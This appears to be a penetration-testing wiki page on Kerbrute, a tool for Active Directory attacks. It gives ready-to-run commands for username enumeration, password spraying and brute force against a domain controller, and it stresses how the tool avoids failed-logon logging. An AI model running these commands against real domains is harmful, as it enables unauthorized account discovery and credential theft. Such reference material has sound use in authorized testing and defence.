# Kerbrute

[Kerbrute](https://github.com/ropnop/kerbrute) is a Go-based tool designed to efficiently brute force and enumerate AD accounts through Kerberos Pre-Authentication, making it faster and potentially stealthier than traditional password guessing methods. Instead of generating standard failed logon events (4625), it validates usernames and credentials by sending a single UDP frame to the DC, allowing account enumeration and authentication attempts with minimal noise. It supports multiple modes, including user enumeration, password spraying, and credential testing, while offering options for threading, logging, and safe execution to prevent account lockouts.

<figure><img src="https://2056709691-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFqURPjUnKKhebI962QD8%2Fuploads%2FUUKwPVl2a7ceDwTwb2C5%2Fkerbrute.png?alt=media&#x26;token=3ddb9d64-83a7-4bfd-8a03-2c3d952fa251" alt=""><figcaption></figcaption></figure>

{% tabs %}
{% tab title="User Enumeration" %}
{% code overflow="wrap" %}
```bash
kerbrute userenum -d domain.local --dc 10.10.10.10 /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt
```
{% endcode %}
{% endtab %}

{% tab title="Password Spray" %}
Testing known passwords against a list of domain users (lockout-sensitive):

```bash
kerbrute passwordspray -d lab.ropnop.com domain_users.txt Password123
```
{% endtab %}

{% tab title="Brute Force" %}
Brute force against a single username (lockout-sensitive):

```bash
kerbrute bruteuser -d lab.ropnop.com passwords.lst thoffman
```

The `bruteforce` option accepts a `username:password` list:

```bash
cat combos.lst | kerbrute -d lab.ropnop.com bruteforce -
```
{% endtab %}
{% endtabs %}
